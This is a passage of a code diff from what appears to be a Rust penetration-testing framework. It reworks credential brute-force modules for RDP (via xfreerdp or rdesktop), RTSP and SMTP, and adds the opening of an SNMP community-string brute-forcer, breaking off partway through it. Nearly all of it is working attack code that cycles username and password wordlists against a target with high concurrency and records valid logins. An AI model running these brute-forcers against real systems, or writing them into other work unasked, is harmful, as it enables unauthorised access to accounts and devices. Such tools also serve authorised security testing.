-    'password_loop: for pass in passwords {
-        if *stop_signal.lock().await {
-            break 'password_loop;
-        }
-
-        let current_users_for_this_pass = if combo_mode {
-            users.clone()
-        } else {
-            let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
-            user_cycle_idx += 1;
-            vec![user_for_this_pass]
-        };
-
-        for user in current_users_for_this_pass {
-            if *stop_signal.lock().await {
-                break 'password_loop; // Break outer loop if stopping
+    if combo_mode {
+        // Try every password with every user - read line by line
+        let user_file = File::open(&usernames_file_path)?;
+        let user_reader = BufReader::new(user_file);
+        
+        for user_line in user_reader.lines() {
+            if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+                break;
+            }
+            
+            let user = match user_line {
+                Ok(line) => line.trim().to_string(),
+                Err(_) => continue,
+            };
+            
+            if user.is_empty() {
+                continue;
             }
 
-            let permit = Arc::clone(&semaphore).acquire_owned().await?;
+            // Open password file for each user
+            let pass_file = File::open(&passwords_file_path)?;
+            let pass_reader = BufReader::new(pass_file);
             
+            for pass_line in pass_reader.lines() {
+                if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+                    break;
+                }
+                
+                let pass = match pass_line {
+                    Ok(line) => line.trim().to_string(),
+                    Err(_) => continue,
+                };
+                
+                if pass.is_empty() {
+                    continue;
+                }
+
+                let addr_clone = addr.clone();
+                let user_clone = user.clone();
+                let pass_clone = pass.clone();
+                let found_credentials_clone = Arc::clone(&found_credentials);
+                let stop_signal_clone = Arc::clone(&stop_signal);
+                let semaphore_clone = Arc::clone(&semaphore);
+                let verbose_flag = verbose;
+                let stop_on_success_flag = stop_on_success;
+                let timeout_duration = Duration::from_secs(timeout_secs);
+
+                tasks.push(tokio::spawn(async move {
+                    if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    let permit = match semaphore_clone.acquire_owned().await {
+                        Ok(permit) => permit,
+                        Err(_) => return,
+                    };
+                    if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+
+                    match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
+                        Ok(true) => {
+                            println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
+                            let mut found = found_credentials_clone.lock().await;
+                            found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
+                            if stop_on_success_flag {
+                                stop_signal_clone.store(true, Ordering::Relaxed);
+                            }
+                        }
+                        Ok(false) => {
+                            log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
+                        }
+                        Err(e) => {
+                            log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
+                        }
+                    }
+                    drop(permit);
+                    sleep(Duration::from_millis(10)).await;
+                }));
+
+                // Limit concurrent tasks
+                if tasks.len() >= concurrency {
+                    if let Some(res) = tasks.next().await {
+                        if let Err(e) = res {
+                            log(verbose, &format!("[!] Task join error: {}", e));
+                        }
+                    }
+                }
+            }
+        }
+    } else {
+        // Try passwords sequentially, cycling through users - read line by line
+        let pass_file = File::open(&passwords_file_path)?;
+        let pass_reader = BufReader::new(pass_file);
+        
+        // Load users into memory for cycling (needed for modulo access)
+        let users = load_lines(&usernames_file_path)?;
+        
+        for (i, pass_line) in pass_reader.lines().enumerate() {
+            if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+                break;
+            }
+            
+            let pass = match pass_line {
+                Ok(line) => line.trim().to_string(),
+                Err(_) => continue,
+            };
+            
+            if pass.is_empty() {
+                continue;
+            }
+            
+            let user = users[i % users.len()].clone();
+
             let addr_clone = addr.clone();
-            let user_clone = user.clone();
             let pass_clone = pass.clone();
             let found_credentials_clone = Arc::clone(&found_credentials);
             let stop_signal_clone = Arc::clone(&stop_signal);
-            
-            let handle = tokio::spawn(async move {
-                let _permit_guard = permit; // Permit dropped when task finishes
+            let semaphore_clone = Arc::clone(&semaphore);
+            let verbose_flag = verbose;
+            let stop_on_success_flag = stop_on_success;
+            let timeout_duration = Duration::from_secs(timeout_secs);
 
-                if *stop_signal_clone.lock().await {
+            tasks.push(tokio::spawn(async move {
+                if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                    return;
+                }
+                let permit = match semaphore_clone.acquire_owned().await {
+                    Ok(permit) => permit,
+                    Err(_) => return,
+                };
+                if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
                     return;
                 }
 
-                match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
+                match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
                     Ok(true) => {
-                        println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
+                        println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
                         let mut found = found_credentials_clone.lock().await;
-                        found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
-                        if stop_on_success {
-                            *stop_signal_clone.lock().await = true;
+                        found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
+                        if stop_on_success_flag {
+                            stop_signal_clone.store(true, Ordering::Relaxed);
                         }
                     }
                     Ok(false) => {
-                        log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
+                        log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
                     }
                     Err(e) => {
-                        log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
+                        log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
                     }
                 }
+                drop(permit);
                 sleep(Duration::from_millis(10)).await;
-            });
-            handles.push(handle);
+            }));
+
+            // Limit concurrent tasks
+            if tasks.len() >= concurrency {
+                if let Some(res) = tasks.next().await {
+                    if let Err(e) = res {
+                        log(verbose, &format!("[!] Task join error: {}", e));
+                    }
+                }
+            }
         }
     }
 
-    for handle in handles {
-        handle.await?; // Propagate JoinErrors if any task panicked
+    // Wait for remaining tasks
+    while let Some(res) = tasks.next().await {
+        if let Err(e) = res {
+            log(verbose, &format!("[!] Task join error: {}", e));
+        }
     }
 
     let creds = found_credentials.lock().await;
@@ -157,27 +325,98 @@ pub async fn run(target: &str) -> Result<()> {
     Ok(())
 }
 
-async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
+async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
+    // Check if xfreerdp is available
+    let xfreerdp_check = Command::new("which")
+        .arg("xfreerdp")
+        .output()
+        .await;
+    
+    let use_xfreerdp = if let Ok(output) = xfreerdp_check {
+        output.status.success()
+    } else {
+        false
+    };
+
+    if !use_xfreerdp {
+        // Fallback: try rdesktop if xfreerdp is not available
+        let rdesktop_check = Command::new("which")
+            .arg("rdesktop")
+            .output()
+            .await;
+        
+        let use_rdesktop = if let Ok(output) = rdesktop_check {
+            output.status.success()
+        } else {
+            false
+        };
+        
+        if use_rdesktop {
+            return try_rdp_login_rdesktop(addr, user, pass, timeout_duration).await;
+        }
+        
+        return Err(anyhow!("Neither xfreerdp nor rdesktop is available. Please install one of them."));
+    }
+
+    // Use xfreerdp for authentication
     let mut child = Command::new("xfreerdp")
         .arg(format!("/v:{}", addr))
         .arg(format!("/u:{}", user))
         .arg(format!("/p:{}", pass))
         .arg("/cert:ignore")
-        .arg("/timeout:5000") 
+        .arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
         .arg("+auth-only") // Attempt authentication without full desktop session
         .arg("/log-level:OFF")
+        .arg("/sec:nla") // Use Network Level Authentication
         .stdout(std::process::Stdio::null())
-        .stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
+        .stderr(std::process::Stdio::null())
         .spawn()?;
 
-    let status = child.wait().await?;
-    Ok(status.success())
+    // Wait for process with timeout
+    match timeout(timeout_duration, child.wait()).await {
+        Ok(Ok(status)) => {
+            // Check exit code - 0 typically means success
+            Ok(status.success())
+        }
+        Ok(Err(e)) => {
+            Err(anyhow!("Process error: {}", e))
+        }
+        Err(_) => {
+            // Timeout - kill the process
+            let _ = child.kill().await;
+            Ok(false)
+        }
+    }
+}
+
+async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
+    // Fallback to rdesktop (less reliable but sometimes available)
+    let mut child = Command::new("rdesktop")
+        .arg("-u")
+        .arg(user)
+        .arg("-p")
+        .arg(pass)
+        .arg("-n")
+        .arg("auth-only")
+        .arg(addr)
+        .stdout(std::process::Stdio::null())
+        .stderr(std::process::Stdio::null())
+        .spawn()?;
+
+    match timeout(timeout_duration, child.wait()).await {
+        Ok(Ok(status)) => Ok(status.success()),
+        Ok(Err(e)) => Err(anyhow!("Process error: {}", e)),
+        Err(_) => {
+            let _ = child.kill().await;
+            Ok(false)
+        }
+    }
 }
 
 fn prompt_required(msg: &str) -> Result<String> {
     loop {
         print!("{}", format!("{}: ", msg).cyan().bold());
-        std::io::stdout().flush()?;
+        std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let trimmed = s.trim();
@@ -191,7 +430,7 @@ fn prompt_required(msg: &str) -> Result<String> {
 
 fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
     print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
-    std::io::stdout().flush()?;
+    std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
     let mut s = String::new();
     std::io::stdin().read_line(&mut s)?;
     let trimmed = s.trim();
@@ -203,10 +442,10 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
 }
 
 fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
-    let options = if default_yes { "(Y/n)" } else { "(y/N)" };
+    let default_char = if default_yes { "y" } else { "n" };
     loop {
-        print!("{}", format!("{} {} : ", msg, options).cyan().bold());
-        std::io::stdout().flush()?;
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
+        std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let input = s.trim().to_lowercase();
@@ -217,14 +456,25 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
         } else if input == "n" || input == "no" {
             return Ok(false);
         } else {
-            println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
+            println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
         }
     }
 }
 
+fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
+    let file = File::open(path.as_ref())
+        .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
+    let reader = BufReader::new(file);
+    Ok(reader
+        .lines()
+        .filter_map(Result::ok)
+        .filter(|line| !line.trim().is_empty())
+        .count())
+}
+
 fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
     let file = File::open(path.as_ref())
-        .map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
+        .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
     let reader = BufReader::new(file);
     Ok(reader
         .lines()
@@ -245,15 +495,15 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
     let filename_component = path
         .file_name()
         .map(|os_str| os_str.to_string_lossy())
-        .unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
+        .unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
 
     let final_name = if filename_component.is_empty()
         || filename_component == "."
         || filename_component == ".."
-        || filename_component.contains('/') // Ensure it's not a path segment
+        || filename_component.contains('/')
         || filename_component.contains('\\')
     {
-        "rdp_brute_results.txt" // A robust default filename
+        "rdp_results.txt"
     } else {
         filename_component.as_ref()
     };
@@ -263,9 +513,9 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
 
 fn format_socket_address(ip: &str, port: u16) -> String {
     let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
-    if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
+    if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
         format!("[{}]:{}", trimmed_ip, port)
     } else {
         format!("{}:{}", trimmed_ip, port)
     }
-}
+}

src/modules/creds/generic/rtsp_bruteforce_advanced.rs

@@ -2,6 +2,7 @@ use anyhow::{anyhow, Result};
 use base64::engine::general_purpose::STANDARD as Base64;
 use base64::Engine as _;
 use colored::*;
+use futures::stream::{FuturesUnordered, StreamExt};
 use std::{
     fs::File,
     io::{BufRead, BufReader, Write},
@@ -9,10 +10,11 @@ use std::{
     path::{Path, PathBuf},
     sync::Arc,
 };
+use std::sync::atomic::{AtomicBool, Ordering};
 use tokio::{
     io::{AsyncReadExt, AsyncWriteExt},
     net::TcpStream,
-    sync::Mutex,
+    sync::{Mutex, Semaphore},
     time::{sleep, Duration},
 };
 
@@ -62,25 +64,23 @@ pub async fn run(target: &str) -> Result<()> {
     } else {
         None
     };
+    let advanced_headers = Arc::new(advanced_headers);
 
-    let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
-    let mut paths = if brute_force_paths {
-        let paths_file = prompt_required("Path to RTSP paths file")?;
-        load_lines(&paths_file)?
-    } else {
-        vec!["".to_string()]
-    };
-    if paths.is_empty() {
-        println!("[!] RTSP paths list is empty. Falling back to default root path.");
-        paths.push(String::new());
-    }
-
-    let addr = format!("{}:{}", target, port);
+    let (addr, implicit_path) = normalize_target_input(target, port)?;
     let found = Arc::new(Mutex::new(Vec::new()));
-    let stop = Arc::new(Mutex::new(false));
+    let stop = Arc::new(AtomicBool::new(false));
+    let semaphore = Arc::new(Semaphore::new(concurrency));
 
     println!("\n[*] Starting brute-force on {}", addr);
 
+    let resolved_addrs = match resolve_targets(&addr).await {
+        Ok(addrs) => Arc::new(addrs),
+        Err(e) => {
+            eprintln!("[!] Failed to resolve '{}': {}", addr, e);
+            return Err(e);
+        }
+    };
+
     let users = load_lines(&usernames_file)?;
     if users.is_empty() {
         println!("[!] Username wordlist is empty or invalid. Exiting.");
@@ -97,73 +97,120 @@ pub async fn run(target: &str) -> Result<()> {
         return Ok(());
     }
 
-    let mut idx = 0;
+    let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
+    let mut paths = if brute_force_paths {
+        let paths_file = prompt_required("Path to RTSP paths file")?;
+        load_lines(&paths_file)?
+    } else {
+        vec!["".to_string()]
+    };
+    if paths.is_empty() {
+        println!("[!] RTSP paths list is empty. Falling back to default root path.");
+        paths.push(String::new());
+    }
+    if let Some(p) = implicit_path {
+        if !paths.iter().any(|existing| existing == &p) {
+            paths.insert(0, p);
+        }
+    }
+    let mut tasks = FuturesUnordered::new();
+    let mut idx = 0usize;
+
     for pass in pass_lines {
-        if *stop.lock().await {
+        if stop_on_success && stop.load(Ordering::Relaxed) {
             break;
         }
 
-        let userlist = if combo_mode {
+        let userlist: Vec<String> = if combo_mode {
             users.clone()
         } else {
             vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
         };
 
-        let mut handles = vec![];
-
         for user in userlist {
+            if stop_on_success && stop.load(Ordering::Relaxed) {
+                break;
+            }
             for path in &paths {
-                if *stop.lock().await {
+                if stop_on_success && stop.load(Ordering::Relaxed) {
                     break;
                 }
 
-                let addr = addr.clone();
-                let user = user.clone();
-                let pass = pass.clone();
-                let path = path.clone();
-                let found = Arc::clone(&found);
-                let stop = Arc::clone(&stop);
+                let addr_clone = addr.clone();
+                let user_clone = user.clone();
+                let pass_clone = pass.clone();
+                let path_clone = path.clone();
+                let found_clone = Arc::clone(&found);
+                let stop_clone = Arc::clone(&stop);
                 let command = advanced_command.clone();
-                let headers = advanced_headers.clone();
+                let headers = Arc::clone(&advanced_headers);
+                let semaphore_clone = Arc::clone(&semaphore);
+                let addrs_clone = Arc::clone(&resolved_addrs);
+                let stop_flag = stop_on_success;
+                let verbose_flag = verbose;
 
-                let handle = tokio::spawn(async move {
-                    if *stop.lock().await {
+                tasks.push(tokio::spawn(async move {
+                    if stop_flag && stop_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    let permit = match semaphore_clone.acquire_owned().await {
+                        Ok(permit) => permit,
+                        Err(_) => return,
+                    };
+                    if stop_flag && stop_clone.load(Ordering::Relaxed) {
+                        drop(permit);
                         return;
                     }
 
-                    match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
+                    match try_rtsp_login(
+                        addrs_clone.as_slice(),
+                        &addr_clone,
+                        &user_clone,
+                        &pass_clone,
+                        &path_clone,
+                        command.as_deref(),
+                        &headers,
+                    )
+                    .await
+                    {
                         Ok(true) => {
-                            let path_str = if path.is_empty() { "NO_PATH" } else { &path };
-                            println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
-                            found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
-                            if stop_on_success {
-                                *stop.lock().await = true;
+                            let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
+                            println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
+                            found_clone
+                                .lock()
+                                .await
+                                .push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
+                            if stop_flag {
+                                stop_clone.store(true, Ordering::Relaxed);
                             }
                         }
-                        Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
-                        Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
+                        Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
+                        Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
                     }
 
+                    drop(permit);
                     sleep(Duration::from_millis(10)).await;
-                });
+                }));
 
-                handles.push(handle);
-
-                if handles.len() >= concurrency {
-                    for h in handles.drain(..) {
-                        let _ = h.await;
+                if tasks.len() >= concurrency {
+                    if let Some(res) = tasks.next().await {
+                        if let Err(e) = res {
+                            log(verbose, &format!("[!] Task join error: {}", e));
+                        }
                     }
                 }
             }
         }
 
-        for h in handles {
-            let _ = h.await;
-        }
-
         idx += 1;
     }
 
+    while let Some(res) = tasks.next().await {
+        if let Err(e) = res {
+            log(verbose, &format!("[!] Task join error: {}", e));
+        }
+    }
+
     let creds = found.lock().await;
     if creds.is_empty() {
         println!("\n[-] No credentials found (with these paths).");
@@ -223,24 +270,24 @@ async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
 
 /// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
 async fn try_rtsp_login(
-    addr: &str,
+    addrs: &[SocketAddr],
+    addr_display: &str,
     user: &str,
     pass: &str,
     path: &str,
     method: Option<&str>,
     extra_headers: &[String],
 ) -> Result<bool> {
-    let addrs = resolve_targets(addr).await?;
     let mut last_err = None;
     let mut stream = None;
-    let mut connected_sa = None;
+    let mut connected_sa: Option<SocketAddr> = None;
 
     // Try each candidate address
     for sa in addrs {
-        match TcpStream::connect(sa).await {
+        match TcpStream::connect(*sa).await {
             Ok(s) => {
                 stream = Some(s);
-                connected_sa = Some(sa);
+                connected_sa = Some(*sa);
                 break;
             }
             Err(e) => {
@@ -255,7 +302,8 @@ async fn try_rtsp_login(
         (Some(s), Some(sa)) => (s, sa),
         _ => {
             return Err(anyhow!(
-                "All connection attempts failed: {}",
+                "All connection attempts to {} failed: {}",
+                addr_display,
                 last_err.map(|e| e.to_string()).unwrap_or_default()
             ))
         }
@@ -293,7 +341,7 @@ async fn try_rtsp_login(
     let mut buffer = [0u8; 2048];
     let n = stream.read(&mut buffer).await?;
     if n == 0 {
-        return Err(anyhow!("Server closed connection unexpectedly."));
+        return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
     }
     let response = String::from_utf8_lossy(&buffer[..n]);
 
@@ -302,10 +350,73 @@ async fn try_rtsp_login(
     } else if response.contains("401") || response.contains("403") {
         Ok(false)
     } else {
-        Err(anyhow!("Unexpected RTSP response:\n{}", response))
+        Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
     }
 }
 
+fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
+    let trimmed = target.trim();
+    if trimmed.is_empty() {
+        return Err(anyhow!("Target cannot be empty."));
+    }
+
+    let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
+    let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
+        (host.trim(), Some(path.to_string()))
+    } else {
+        (without_scheme.trim(), None)
+    };
+
+    if host_part.is_empty() {
+        return Err(anyhow!("Target host cannot be empty."));
+    }
+
+    let normalized_host = if host_part.starts_with('[') {
+        if host_part.contains("]:") {
+            host_part.to_string()
+        } else {
+            format!("{}:{}", host_part, default_port)
+        }
+    } else {
+        let colon_count = host_part.matches(':').count();
+        if colon_count == 0 {
+            format!("{}:{}", host_part, default_port)
+        } else if colon_count == 1 {
+            if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
+                if port_str.parse::<u16>().is_ok() {
+                    if host_only.contains(':') {
+                        format!("[{}]:{}", host_only, port_str)
+                    } else {
+                        host_part.to_string()
+                    }
+                } else {
+                    format!("{}:{}", host_part, default_port)
+                }
+            } else {
+                format!("{}:{}", host_part, default_port)
+            }
+        } else {
+            format!("[{}]:{}", host_part, default_port)
+        }
+    };
+
+    let normalized_path = path_part.and_then(|p| {
+        let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
+        let trimmed = truncated.trim();
+        if trimmed.is_empty() || trimmed == "/" {
+            None
+        } else {
+            let mut path = trimmed.to_string();
+            if !path.starts_with('/') {
+                path.insert(0, '/');
+            }
+            Some(path)
+        }
+    });
+
+    Ok((normalized_host, normalized_path))
+}
+
 // ─── Prompt and utility functions unchanged ───────────────────────────────────
 
 fn prompt_required(msg: &str) -> Result<String> {

src/modules/creds/generic/smtp_bruteforce.rs

@@ -1,9 +1,12 @@
-use anyhow::{Result, Context};
+use anyhow::{anyhow, Context, Result};
+use colored::Colorize;
 use regex::Regex;
 use std::fs::{File, OpenOptions};
 use std::io::{self, BufRead, BufReader, Write};
 use std::net::{TcpStream, ToSocketAddrs};
+use std::path::Path;
 use std::sync::{Arc, Mutex};
+use std::sync::atomic::{AtomicBool, Ordering};
 use std::time::Duration;
 use telnet::{Telnet, Event};
 use threadpool::ThreadPool;
@@ -23,13 +26,13 @@ struct SmtpBruteforceConfig {
 
 pub async fn run(target: &str) -> Result<()> {
     println!("\n=== SMTP Bruteforce ===\n");
-    let port = prompt("Port (default 25): ").parse().unwrap_or(25);
-    let username_wordlist = prompt("Username wordlist file: ");
-    let password_wordlist = prompt("Password wordlist file: ");
-    let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
-    let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
-    let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
-    let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let port = prompt_port(25);
+    let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
+    let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
+    let threads = prompt_threads(8);
+    let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
+    let full_combo = prompt_yes_no("Try every username with every password?", false);
+    let verbose = prompt_yes_no("Verbose mode?", false);
     let config = SmtpBruteforceConfig {
         target: target.to_string(),
         port,
@@ -48,10 +51,12 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
     let usernames = read_lines(&config.username_wordlist)?;
     let passwords = read_lines(&config.password_wordlist)?;
     if usernames.is_empty() || passwords.is_empty() {
-        return Err(anyhow::anyhow!("Empty user or pass wordlist."));
+        return Err(anyhow!("Username or password wordlist is empty."));
     }
+    println!("[*] Loaded {} username(s).", usernames.len());
+    println!("[*] Loaded {} password(s).", passwords.len());
     let found = Arc::new(Mutex::new(Vec::new()));
-    let stop_flag = Arc::new(Mutex::new(false));
+    let stop_flag = Arc::new(AtomicBool::new(false));
     let pool = ThreadPool::new(config.threads);
     let (tx, rx) = unbounded();
     if config.full_combo {
@@ -72,14 +77,14 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
         let config = config.clone();
         pool.execute(move || {
             while let Ok((user, pass)) = rx.recv() {
-                if *stop_flag.lock().unwrap() { break; }
+                if stop_flag.load(Ordering::Relaxed) { break; }
                 if config.verbose { println!("[*] {}:{}", user, pass); }
                 match try_smtp_login(&addr, &user, &pass) {
                     Ok(true) => {
                         println!("[+] VALID: {}:{}", user, pass);
                         let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
                         if config.stop_on_success {
-                            *stop_flag.lock().unwrap() = true;
+                            stop_flag.store(true, Ordering::Relaxed);
                             while rx.try_recv().is_ok() {}
                             break;
                         }
@@ -203,7 +208,81 @@ fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
 }
 
 fn prompt(msg: &str) -> String {
-    print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
+    print!("{}", msg);
+    if let Err(e) = io::stdout().flush() {
+        eprintln!("[!] Failed to flush stdout: {}", e);
+    }
+    let mut b = String::new();
+    match io::stdin().read_line(&mut b) {
+        Ok(_) => b.trim().to_string(),
+        Err(e) => {
+            eprintln!("[!] Failed to read input: {}", e);
+            String::new()
+        }
+    }
+}
+
+fn prompt_port(default: u16) -> u16 {
+    loop {
+        let input = prompt(&format!("Port (default {}): ", default));
+        if input.is_empty() {
+            return default;
+        }
+        match input.parse::<u16>() {
+            Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
+            Ok(port) => return port,
+            Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
+        }
+    }
+}
+
+fn prompt_threads(default: usize) -> usize {
+    loop {
+        let input = prompt(&format!("Threads (default {}): ", default));
+        if input.is_empty() {
+            return default.max(1);
+        }
+        if let Ok(value) = input.parse::<usize>() {
+            if value >= 1 && value <= 1024 {
+                return value;
+            }
+        }
+        println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
+    }
+}
+
+fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
+    let default_char = if default_yes { "y" } else { "n" };
+    loop {
+        let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
+        if input.is_empty() {
+            return default_yes;
+        }
+        match input.to_lowercase().as_str() {
+            "y" | "yes" => return true,
+            "n" | "no" => return false,
+            _ => println!("[!] Please respond with y or n."),
+        }
+    }
+}
+
+fn prompt_wordlist(message: &str) -> Result<String> {
+    loop {
+        let response = prompt(message);
+        if response.is_empty() {
+            println!("[!] Path cannot be empty.");
+            continue;
+        }
+        let trimmed = response.trim();
+        if Path::new(trimmed).is_file() {
+            return Ok(trimmed.to_string());
+        } else {
+            println!(
+                "{}",
+                format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
+            );
+        }
+    }
 }
 
 fn normalize_target(host: &str, port: u16) -> Result<String> {

src/modules/creds/generic/snmp_bruteforce.rs

@@ -0,0 +1,643 @@
+use anyhow::{anyhow, Result};
+use colored::*;
+use futures::stream::{FuturesUnordered, StreamExt};
+use std::{
+    fs::File,
+    io::{BufRead, BufReader, Write},
+    net::{SocketAddr, UdpSocket},
+    path::{Path, PathBuf},
+    sync::Arc,
+    time::Duration,
+};
+use std::sync::atomic::{AtomicBool, Ordering};
+use regex::Regex;
+use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
+    println!("[*] Target: {}", target);
+
+    let port: u16 = loop {
+        let input = prompt_default("SNMP Port", "161")?;
+        match input.trim().parse::<u16>() {
+            Ok(p) if p > 0 => break p,
+            Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
+            Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
+        }
+    };
+
+    let communities_file = loop {
+        let input = prompt_required("Community string wordlist file path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        // Check if file is readable
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
+
+    let snmp_version = loop {
+        let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
+        match input.trim().to_lowercase().as_str() {
+            "1" => break 0,  // SNMPv1
+            "2c" | "2" => break 1,  // SNMPv2c
+            _ => println!("Invalid version. Enter '1' or '2c'."),
+        }
+    };
+
+    let concurrency: usize = loop {
+        let input = prompt_default("Max concurrent tasks", "50")?;
+        match input.trim().parse::<usize>() {
+            Ok(n) if n > 0 && n <= 10000 => break n,
+            Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
+            Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
+        }
+    };
+
+    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
+    let save_results = prompt_yes_no("Save results to file?", true)?;
+    let save_path = if save_results {
